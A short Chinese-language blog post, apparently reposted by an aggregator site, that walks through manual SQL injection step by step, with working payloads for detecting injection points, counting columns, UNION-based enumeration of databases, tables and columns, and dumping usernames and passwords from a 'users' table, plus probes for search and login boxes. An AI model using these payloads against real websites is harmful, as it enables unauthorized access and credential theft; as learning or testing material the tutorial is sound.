简单sql注入(手注)
Posted qie-date
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了简单sql注入(手注)相关的知识,希望对你有一定的参考价值。
一、Sql简单手注的一般思路:
1、 先看是不是注入点(字符型、整型)
2、 判断字段数
3、 判断是否可以用union联合查询(是否有显示位)
4、 获取所有数据库名
5、 获取数据库中表名
6、 获取表中的字段名
7、 获取字段中的信息数据
1、 先看是不是注入点
*加单引号 (‘)如果报错则可能存在
输入?2-1页面变化(数值型)
*数字型:and 1=1正常;and 1=2报错
or 2>1 正常;or 1>2 报错
xor 1=1 报错;xor 1=2 正常
and 1=1 url编码:%41%4E%44%20%%31%3D%31
-0 页面不变;-1页面错误
*字符型:闭合方式加单引号(双引号、圆括号)
加#;%27;--+是否可以闭合
‘and ‘1’=’1正常;’and ‘1’=’2报错
*终止字符串:--;#;%23;%00;/*
终止方法:--,‘--,’)--,)--,’))--,))—
2、 判断字段数
1’ order by 1 --+
1’ order by 2 --+
…直到报错
(数字型注入的参数是正确的或没有单引号)
3、 判断是否可以用union联合查询(是否有显示位)
1‘ union select 1,2,3… --+
4、 获取所有数据库名
1‘ union select 1,2,database() --+
@@basedir 查询数据库安装路径
@@datadir 查询数据库所在目录
version() 查询数据库的版本
user() 查询当前数据库的使用用户
database() 当前使用数据库的名字
5、 获取数据库中的表名
id=0‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
6、获取表中的字段
id=0‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users‘ --+
7、获取字段的信息数据
id=0‘ union select 1,group_concat(username,0x3a,password),3 from users --+
二、其他简单注入
1、搜索框
搜索’,&,[,],%,$,@等特殊字符,如果返回正常可能存在注入
%‘ and 1=1 and ‘%‘=‘% ;%‘ and 1=2 and ‘%‘=‘%
2、登录框
使用#,--都无效,但是使用\报错,这时候上sqlmap,可能有注入
以上是关于简单sql注入(手注)的主要内容,如果未能解决你的问题,请参考以下文章